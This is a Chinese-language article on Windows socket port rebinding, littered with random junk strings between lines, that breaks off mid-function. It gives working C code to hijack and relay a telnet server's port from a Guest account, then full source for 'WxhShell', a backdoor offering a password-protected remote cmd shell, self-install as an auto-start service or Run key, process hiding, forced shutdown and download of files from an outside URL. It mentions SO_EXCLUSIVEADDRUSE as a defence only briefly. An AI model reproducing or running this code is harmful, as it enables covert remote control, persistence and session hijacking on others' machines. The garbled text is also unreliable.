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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &pL/
@2+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6Cv.5Vhx IB8gDP2 saddr.sin_family = AF_INET; gqfDacDJL &qKigkLd saddr.sin_addr.s_addr = htonl(INADDR_ANY); RU|X*3";T i'=2Y9S} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,:UX<6l
R q_sEw~~@! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i $C-)d] lI6W$V\, 这意味着什么?意味着可以进行如下的攻击: &n>7Ir nR[^|CAR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rEM#D]k at|
\FOKj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t"|DWC* [1SMg$@< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |cgui cS(;Qs]Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 G>K@AW# A?A9`w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z7z]2v3}c JYJU&u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [Gtb+'8 !),t"Ae?> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;&S;%W>| 8EI:(NE*J #include MA*
:<l #include nQ-mmY># #include lP3h<j #include |##GIIv;i DWORD WINAPI ClientThread(LPVOID lpParam); 50$W0L$ int main() Ryv_1gR! { '!Wvqs WORD wVersionRequested; =wrP:wYF DWORD ret; q.W>4 k WSADATA wsaData; e.8$ga{ BOOL val; y
vI<4F SOCKADDR_IN saddr; 5jZiJw( SOCKADDR_IN scaddr; jatr/ int err; |`0n"x7 SOCKET s; xaW{I7FfG SOCKET sc; d1G8*YO@ int caddsize; Ch5+N6c^ HANDLE mt; ;gB`YNL DWORD tid; 2*AG7 wVersionRequested = MAKEWORD( 2, 2 ); eB]R3j{ err = WSAStartup( wVersionRequested, &wsaData ); OfZN|S+~W if ( err != 0 ) { f^b K=# printf("error!WSAStartup failed!\n"); d5!!Ut return -1; DQ80B)<O } ~ap2m saddr.sin_family = AF_INET; -LWK*q[J;* OH'ea5xq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NX,-;v ,={t8lN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -d=WV:G%e saddr.sin_port = htons(23); DL8x":; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n7! H:{L { `JURQ:l)3^ printf("error!socket failed!\n"); )^x K return -1; :dnJY%/q } 'i|rjW( val = TRUE; EgM*d)X //SO_REUSEADDR选项就是可以实现端口重绑定的 bS!\#f%9" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \".^K5Pm { 9pD
7 f` printf("error!setsockopt failed!\n"); S#l5y%& return -1; J/x2qQ$9 } )!W45"l-3M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Xm!-~n@-m7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v"O5u%P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u{e-G&]^; osP\DiQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 27Emm
c { ~r*P]*51x ret=GetLastError(); RHY4P4B<v> printf("error!bind failed!\n"); \2e0|)aF6 return -1; wdas1 } |U'I/A listen(s,2); {6Au3gt/ while(1) zJN7<sv { pPro }@@ caddsize = sizeof(scaddr); 5/0j}_pP //接受连接请求 1DJekiWf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (p)!Mq
"^ if(sc!=INVALID_SOCKET) )A8v];.]3 { `BXS)xj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c-4STPNQi if(mt==NULL) $'wq1u { ku&k'V printf("Thread Creat Failed!\n");
``K#}3 break; j}J Z
} q6d~V]4: } _e<o7Y@_ CloseHandle(mt); T6BFX0$ } A#y@`}]!' closesocket(s); n6Z|Q@F WSACleanup(); Y3U9:VB return 0; Me3dpF } 2DDsWJ; DWORD WINAPI ClientThread(LPVOID lpParam) e@<?zS6 { /n,a?Ft^N) SOCKET ss = (SOCKET)lpParam; =d`5f@'rl SOCKET sc; GZ #aj| unsigned char buf[4096]; ]$iqa"{ SOCKADDR_IN saddr; 3lxc4@Zmd long num; 8{
c !). DWORD val; [:EvTY DWORD ret; ]ZoPQUS? //如果是隐藏端口应用的话,可以在此处加一些判断 pox,Im //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 R{hf9R , saddr.sin_family = AF_INET; I/J7rkf saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sus;(3EX saddr.sin_port = htons(23); bZwnaM4"F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~l E _L1-c { z? ]G3$i( printf("error!socket failed!\n"); -0uV z) return -1; 2@j";+ } #s5N[uK^m val = 100; 6sfwlT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oYM3Rgxf9Q { hVpCB, ret = GetLastError(); va)%et0! return -1; n~IVNB* } L V{Q,DrP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >]D4Q<TY { @* ust>7 ret = GetLastError(); UK[v6".^h return -1; J5M+FwZq } tOl e>] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u{H?4|'( { !
NV#U printf("error!socket connect failed!\n"); *?p|F&J closesocket(sc); j Ch=@<9 closesocket(ss); Q4]4@96Aj return -1; {Tp2H_EG } 6=GZLpv while(1) Q9F) { W&Y"K)` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VyLH"cCv //如果是嗅探内容的话,可以再此处进行内容分析和记录 (=x"Y{% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S::=85[>z num = recv(ss,buf,4096,0); 32)tJ|m if(num>0) >pL2*O^{9 send(sc,buf,num,0); }WLh8i?_ else if(num==0) ?X$,fQ#F| break; sN=6 gCau num = recv(sc,buf,4096,0); mB'3N;~ if(num>0) pL1i|O
send(ss,buf,num,0); OW;tT=ql else if(num==0) Y$>-%KcKeI break; L71!J0@a# } JAc_kl{4O closesocket(ss); 5N$E()m$ closesocket(sc); N3BL3:@O return 0 ; U\@A_
B } +|cI:|H> 6]cryf&b upn~5>uCP ========================================================== ;!>Wz9 Yf_6PGNzX 下边附上一个代码,,WXhSHELL 8TV;Rtl {^)70Vz>PE ========================================================== ;zTuKex~ LwqC~N #include "stdafx.h" e0,'+;*=g X?r48l?? #include <stdio.h> 7u.|XmUz #include <string.h> 66&EBX} #include <windows.h> <z+:j!~ #include <winsock2.h> y8Xv~4qQW #include <winsvc.h> Lz9#A. #include <urlmon.h> rt7<Q47QE jF ^5}5U #pragma comment (lib, "Ws2_32.lib") 83~ i:+; #pragma comment (lib, "urlmon.lib") b}9[s 9W7#u}Z #define MAX_USER 100 // 最大客户端连接数 @`"AHt #define BUF_SOCK 200 // sock buffer b8KsR=]4I #define KEY_BUFF 255 // 输入 buffer nt1CTWKM8^ n`Z"rwKmNw #define REBOOT 0 // 重启 IakKi4( #define SHUTDOWN 1 // 关机 7Ey#u4Q D87|q4 #define DEF_PORT 5000 // 监听端口 &a)eJF]:! `iKj #define REG_LEN 16 // 注册表键长度 zoDZZ%{ #define SVC_LEN 80 // NT服务名长度 [dX`K`k e;YW6}'} // 从dll定义API kYwb -; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SS|z*h
Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?^#lWx q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @DAF 6ygs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~ A Qp| @ez Tbc3 // wxhshell配置信息 "VxWj}+] struct WSCFG { /
jTT5 int ws_port; // 监听端口 a l9.} char ws_passstr[REG_LEN]; // 口令 &p
UZDjo? int ws_autoins; // 安装标记, 1=yes 0=no f7de'^t9 char ws_regname[REG_LEN]; // 注册表键名 B@v\eF; char ws_svcname[REG_LEN]; // 服务名 R\Z:n* char ws_svcdisp[SVC_LEN]; // 服务显示名 ~|Y>:M+0Z char ws_svcdesc[SVC_LEN]; // 服务描述信息 .y5,x\Pq( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {NM+Oj,~' int ws_downexe; // 下载执行标记, 1=yes 0=no `em9T oJV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" -C7]qbT
} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d^ ZMS~\* 'BMy8 }; )x,8D ~p' 'rP]Nw // default Wxhshell configuration &sVvWNO#2 struct WSCFG wscfg={DEF_PORT, xgsjm)) "xuhuanlingzhe", _>o-UBb4]T 1, Ft JjY@# "Wxhshell", s Wjy6; "Wxhshell", CDy^UQb "WxhShell Service", bEuaOBc "Wrsky Windows CmdShell Service", E9!N>0 "Please Input Your Password: ", v`q\6i[- 1, !7B\Xl'S " http://www.wrsky.com/wxhshell.exe", bucR">_p "Wxhshell.exe" L}{`h }; ^
?hA@{T/1 v]:=K-1n // 消息定义模块 72oWhX=M% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %5Kq^]q;Y char *msg_ws_prompt="\n\r? for help\n\r#>"; >"X\>M`" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; gW(gJ;
L,% char *msg_ws_ext="\n\rExit."; jZfx Jm char *msg_ws_end="\n\rQuit."; 3M*Bwt;F_ char *msg_ws_boot="\n\rReboot..."; zRl~^~sY char *msg_ws_poff="\n\rShutdown..."; /Wk9-uH char *msg_ws_down="\n\rSave to "; ri~<~oB2: VU|dV\> char *msg_ws_err="\n\rErr!"; wz8PtfZ char *msg_ws_ok="\n\rOK!"; ~!6K]hB4 y9Y1PH7G char ExeFile[MAX_PATH]; d~tuk4F int nUser = 0; .?C%1a&_l HANDLE handles[MAX_USER]; [jx0-3s:X int OsIsNt; d4[(8}
x$/ 4NVV5_K a SERVICE_STATUS serviceStatus; "GT4s?6O SERVICE_STATUS_HANDLE hServiceStatusHandle; >v;8~pgO Ru!He,k7 // 函数声明 pz^<\ int Install(void); mumXUX int Uninstall(void); ^o?S M^ int DownloadFile(char *sURL, SOCKET wsh); yQS+P8x&|] int Boot(int flag); }|)R
void HideProc(void); 2 mjV~ int GetOsVer(void); lB8il2& int Wxhshell(SOCKET wsl); 5,"l0nrk void TalkWithClient(void *cs); wVs.Vcwr
int CmdShell(SOCKET sock); >r5P3G1 int StartFromService(void); `\>.h int StartWxhshell(LPSTR lpCmdLine); +y+"Fyl z~6y+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z1OFcqm VOID WINAPI NTServiceHandler( DWORD fdwControl ); UQCo}vM k?nQ?B
W // 数据结构和表定义 < O*6T%; SERVICE_TABLE_ENTRY DispatchTable[] = ;d.K_P { .uo.N {wscfg.ws_svcname, NTServiceMain}, C=Fzu&N} {NULL, NULL} |C \}P }; *TW=/+j KP;(Q+qTx // 自我安装 Uh}seB#mJj int Install(void) q=HHNjj8 { +H/jK @ char svExeFile[MAX_PATH]; 7"X>?@ HKEY key; 4S0>-?{ strcpy(svExeFile,ExeFile); F7m?xy vQV K$n` // 如果是win9x系统,修改注册表设为自启动 $>M<j if(!OsIsNt) { f}c\_}( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { txql 2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =`n]/L"Q RegCloseKey(key); mwv(j_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }S-DB#6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0X2@CPIFf RegCloseKey(key); ij5g^{_T;8 return 0; ;#G oGb4AM } jd`},X / } S&C1 TC } X8eJ4% else { Z[!d*O%R_ ivgpS5 M`Y // 如果是NT以上系统,安装为系统服务 73A)lU. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ({0)@+V8 if (schSCManager!=0) 57{oh") { 9&%fq)gS SC_HANDLE schService = CreateService (oK^c-x ( r5&I?
0 schSCManager, Vpfp}pL wscfg.ws_svcname, C) QKPT wscfg.ws_svcdisp, EY`H}S!xy SERVICE_ALL_ACCESS, g_*T?;!.U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8?t"C_>*e SERVICE_AUTO_START, `;,Pb&W~ SERVICE_ERROR_NORMAL, p_*M:P1Ma4 svExeFile, ~d{.ng 4K NULL, m^%|ZTrwN7 NULL, ?i\B^uB NULL, R)?{]]v NULL, 9n]|PEoAB NULL p5=|Y^g ! ); +YOKA* if (schService!=0) qJ!Z~-hS { 7z6b@$, CloseServiceHandle(schService); +eQe%U CloseServiceHandle(schSCManager); T@wcHg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WlB'YL-`g strcat(svExeFile,wscfg.ws_svcname); ;cQW sTfT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $$i.O} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _fFU#k:MU RegCloseKey(key); >M%\T}5 return 0; {eJt,[Y * } X C86-b)E } z@s5m} CloseServiceHandle(schSCManager); O40+M)e] } r,SnXjp@ } wo2@hav `i,_aFB| return 1; )|j[uh6wo } v4Zb?
Yb mN`YuR~ // 自我卸载 P47V:E% int Uninstall(void) 'PZ|:9FX! { 9DQ)cy HKEY key; TjWE_Bq]g 2 gq$C" if(!OsIsNt) { GJi~y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 05Fz@31~ RegDeleteValue(key,wscfg.ws_regname); hjZ}C+=O RegCloseKey(key); 9CGNn+~YI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E! /[gZ RegDeleteValue(key,wscfg.ws_regname); QR?yG+VU RegCloseKey(key); )CPM7> return 0; idc`p?XP } _Jz8{` " } \e=_
2^v!_ } pD"vRbYF else { :6 J +%(f i>L+gLW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uk*IpP` if (schSCManager!=0) 3gWvmep1 { aIy*pmpD= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kB:Uu}(=N if (schService!=0) -F&U { cHA7Kg ! if(DeleteService(schService)!=0) { .%BT,$1K CloseServiceHandle(schService); Mk 0+D# CloseServiceHandle(schSCManager); 8eIUsI.o return 0; +'@+x'/{^ } =rA~7+} CloseServiceHandle(schService); /gcEw!JS } !2\ r LN CloseServiceHandle(schSCManager); qL$a
c}` } ?,P3)&3g } <Tw>|cFT })xp%<` return 1; p=GWq(S6 } TQX)?^Ft
B3m_D"? // 从指定url下载文件 5[l8y, int DownloadFile(char *sURL, SOCKET wsh) {U]H;~3 ? { 0l*]L`]L# HRESULT hr; UEs7''6RM char seps[]= "/"; %t=kdc0=_ char *token; +i ?S char *file; `=+^|Y} char myURL[MAX_PATH]; !1T\cS#1% char myFILE[MAX_PATH]; MfO:m[s 7`vEe'qz strcpy(myURL,sURL); O-]mebTvw token=strtok(myURL,seps); qs\2Z@; while(token!=NULL) 9Gy { _cTh#t ^ file=token; :Eh\NOc_O token=strtok(NULL,seps); onCKI," } [AH6~-\ x ( m\$hX GetCurrentDirectory(MAX_PATH,myFILE); mvW% strcat(myFILE, "\\"); w&$d* E strcat(myFILE, file); #&<)! YY5 send(wsh,myFILE,strlen(myFILE),0); \]Kh[z0" send(wsh,"...",3,0); 3uU]kD^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mC&=X6Q] if(hr==S_OK) e+v({^k return 0; yNW\?Z$@q else uY_SU-v return 1; m p<1yY] <99M@ cF } ]Y6cwZOe -m'j]1 // 系统电源模块 i"zuil int Boot(int flag) AT2v!mNyCw { 2Y}?P+:%> HANDLE hToken; h'J|K^na TOKEN_PRIVILEGES tkp; !f>d_RG Y^Nuz/ if(OsIsNt) { $p!yhn7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r`&-9"+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?1L.:CS tkp.PrivilegeCount = 1; [=O/1T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eD$M<Eu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gir#"5F if(flag==REBOOT) { ^Jb
H? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HS'Vi9 return 0; Er/bO } Ze<K=Q%(i else { UT~a&u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tqAd$:L return 0; s &Dg8$ } W{z.?$SH } G6VF>2 else { }(a+aHH if(flag==REBOOT) { O/:UJ( e{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )%rg?lI return 0; G;>
_<22 } 4tg<iH{ else { XxHx:mi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w6`9fX6{h return 0; 5tQ1fJze } tg^sCxz9] } RMO,ZVq ]# t6Jwk return 1; gVeEdo`$< } fQrhsuCrC Z,BC* // win9x进程隐藏模块 Ehzo05/! void HideProc(void) Va Z!.#(P { dd2[yKC` Y|8vO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \xg]oKbn if ( hKernel != NULL ) '
|-JWH { 'mI'dG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '=][J_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~['Kgh_; FreeLibrary(hKernel); /iG*)6*^k } Pxn,Qw* P"sA return; w\)| } oJ#,XMKga at2FmBdu C // 获取操作系统版本 UR:aD_h int GetOsVer(void) nRd)++ { 4|A>b})H OSVERSIONINFO winfo; 0$r^C6}f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ceNix!P GetVersionEx(&winfo); B^).BQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aq7~QX_0G return 1; "3FihE]k else c1X1+b, return 0; @aJ!PV'ms } EpQ8a[<-3 `3p~m, // 客户端句柄模块 Ym;*Y !~[ int Wxhshell(SOCKET wsl) 1+?^0%AC { R_=6GZH$G SOCKET wsh; zB yqD$ struct sockaddr_in client; ;#w3{
NB DWORD myID; IK*07h/! vn/.}GkpU while(nUser<MAX_USER) H@]MXP[_ { mf'V) int nSize=sizeof(client); :[;hu}!& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [w ;kkMJAy if(wsh==INVALID_SOCKET) return 1; \h8 <cTQ -G6U$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ty88}V if(handles[nUser]==0) Z`YJBcXR closesocket(wsh); fhB}9i^]tg else 0p89: I*0 nUser++; UA|u U5Q } 1}~(Yj@f% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Qn$9D+? 'vN G(h#%d return 0; )8g(:`w } A$6$,h SwZA6R& // 关闭 socket e{Z &d
void CloseIt(SOCKET wsh) EJ2yO@5O { <FZ@Q[RP closesocket(wsh); $.]l!cmi%Q nUser--; f 2l{^E#h ExitThread(0); W456!OHa } -_$$Te g}]t[}s1] // 客户端请求句柄 # W"=ry3{ void TalkWithClient(void *cs) nB .G { 1'?4m0W1 aMTu-hA SOCKET wsh=(SOCKET)cs; `-LGU7~+ char pwd[SVC_LEN]; Hc`A3SMR char cmd[KEY_BUFF]; Bj7gQ%>H4 char chr[1]; %D * OO{ int i,j; ?IpLf\n- (W}bG>!#Q8 while (nUser < MAX_USER) { >rvQw63\ }f2r!7:x if(wscfg.ws_passstr) { JchSMc.9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;| 1$Q!4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nz)l<S9> //ZeroMemory(pwd,KEY_BUFF); u{L!n$D7 i=0; <_Q1k> while(i<SVC_LEN) { IsR!'%Pu B$Kn1 k // 设置超时 kwsp9 0) fd_set FdRead; 4bgqg0z> struct timeval TimeOut; J`2"KzR0w" FD_ZERO(&FdRead); )m. 4i =X FD_SET(wsh,&FdRead); 7B?c{ TimeOut.tv_sec=8; u(G*\<z- TimeOut.tv_usec=0; V*~Zs'L'E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K<>sOWZ'S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2it?$8#i O+ICol if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }}<z/zN&^ pwd =chr[0]; U,LTVYrO if(chr[0]==0xd || chr[0]==0xa) { 2PG [7u^ pwd=0; "Iix
)Ue break; g&{9VK6. } P~ &$l2 i++; rXHv`ky } [<KM?\"1< yDGVrc' // 如果是非法用户,关闭 socket GAAm0; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )rixMl &[ } edPUG
N IY*EA4> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B-r0"MX& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LCQE_}Mh fj&i63?e while(1) { Gw1@KKg :Lz\yARpk ZeroMemory(cmd,KEY_BUFF); "]G\9b) bwl|0"f+` // 自动支持客户端 telnet标准 gmm.{%1_I; j=0; ?^N3&ukkyo while(j<KEY_BUFF) { O]m+u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'g{9@PkGn cmd[j]=chr[0]; S<J}[I7V if(chr[0]==0xa || chr[0]==0xd) { y\x+ cmd[j]=0; 3*@5S]] break; ^urDoB: } BX yo j++; y.q(vzg\_ } xL" |)A = }C|dyyr // 下载文件 *Aa?yg:= if(strstr(cmd,"http://")) { Exk\8,EGqS send(wsh,msg_ws_down,strlen(msg_ws_down),0); /S lYm-uQ+ if(DownloadFile(cmd,wsh)) 1PatH[T[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); of@#:Qs else c}0@2Vf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,f&5pw
= } /g4f`$a else { aT`%;i^ 3Gip<\$v switch(cmd[0]) { 3=L.uXVb o-Ga3i 8 // 帮助 ZR'H\Z case '?': { i _%Q`i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s@7H1)U break; )sT> i } x_dy~(* // 安装 Nj 00W1 case 'i': { (V HL{rj if(Install()) y(xJTj send(wsh,msg_ws_err,strlen(msg_ws_err),0); jfqopiSi else ~appY Av send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /QJ?bD#a break; $O5UyKI } )<Hd T // 卸载 s
S7c! case 'r': { vZBc!AW if(Uninstall()) E^SH\5B send(wsh,msg_ws_err,strlen(msg_ws_err),0); zO
MA else /ID?DtJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cx0*X* break; BGu?<bET } UMcgdJB // 显示 wxhshell 所在路径 /n8B,-Z5s5 case 'p': { RnDt)3 char svExeFile[MAX_PATH]; c7FRI0X strcpy(svExeFile,"\n\r"); `9b7>Nn< strcat(svExeFile,ExeFile); [2{1b`e send(wsh,svExeFile,strlen(svExeFile),0); o+$7'+y1n- break; IyLx0[:U } Mwr"~?\\ // 重启 >cCR2j,r case 'b': { u5%7}<nNi send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EB8\_]6XJ if(Boot(REBOOT)) x3"#POp send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*@E_}C# else { x HhN closesocket(wsh); 5EebPXBzB ExitThread(0); }I2@%tt? } &sL&\+=<( break; E!P yL>){ } 81i655!Z // 关机 4sT88lG4n case 'd': { u9EgdpD send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hBX!iukT|{ if(Boot(SHUTDOWN)) i0$kit send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'CE[G5 else { /x1![$oC0 closesocket(wsh); oT>(V]*5 ExitThread(0); D'Y-6W3 } &E=>Hj(dTG break; q*7VqB } EG=Sl~~o // 获取shell PJL=$gBgKk case 's': { Rw:*'1 CmdShell(wsh); Y1J=3Y closesocket(wsh); A"rfZ` ExitThread(0); LpqO{#ZG break;
ftF@Wq1f } /
:n#`o=; // 退出 F
70R1OYU case 'x': { fV'ZsJ N send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gvr@|{k CloseIt(wsh); EpX&R,Rxk break; FK5<6n,U } J\M>33zu // 离开 A*/HjTX case 'q': { <t
\H^H! send(wsh,msg_ws_end,strlen(msg_ws_end),0);
N#a$t& closesocket(wsh); D5*q7A6 WSACleanup(); LB a[:j2 exit(1); 3 C<L break; 1BpiV-]=
} RpD=]y!5_ } Z
Z:}AQ } j4uvS! --c"0,7 // 提示信息 $NZ-{dY{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gh8F2V;< } TO?R({yx* } 7OJ'){R$ n+A?"`6*# return; &RnTzqv } ZWKg9 %y7 ]X ?7ZI^ // shell模块句柄 GfmI<{da int CmdShell(SOCKET sock) ei[j1F { /*X2c6<d STARTUPINFO si; I
,z3xU ZeroMemory(&si,sizeof(si));
`yH<E+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j+uLV{~g6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P<a)25be/ PROCESS_INFORMATION ProcessInfo; jT]0WS-b char cmdline[]="cmd"; :6 Lx@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yd=>K HVD return 0; G'ei/Me6{ } [Q/TlO t5 ov_j4j>6P // 自身启动模式 [8=vv7wS int StartFromService(void) r[b(I@T+ { |w<H!lGe!$ typedef struct [nrYpb4 { C8V/UbA
/ DWORD ExitStatus; BlA_.]Sg$ DWORD PebBaseAddress; xgKdMW'%g: DWORD AffinityMask; 'z%o16F)L DWORD BasePriority; <YhB8W9 P ULONG UniqueProcessId; ZL&g_jC ULONG InheritedFromUniqueProcessId; pH"#8O& } PROCESS_BASIC_INFORMATION; \b?" b vnM@QfN PROCNTQSIP NtQueryInformationProcess; rPLm5ni rLI8pA|. static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; opy("qH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yl7&5)b#9 "2)H'< HANDLE hProcess; @oV9) PROCESS_BASIC_INFORMATION pbi; Wp!%-vzy& %}Ss,XJ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iV *q2<> if(NULL == hInst ) return 0; /tf5Bv'< !O:y@ g_pEnumProcessModules = 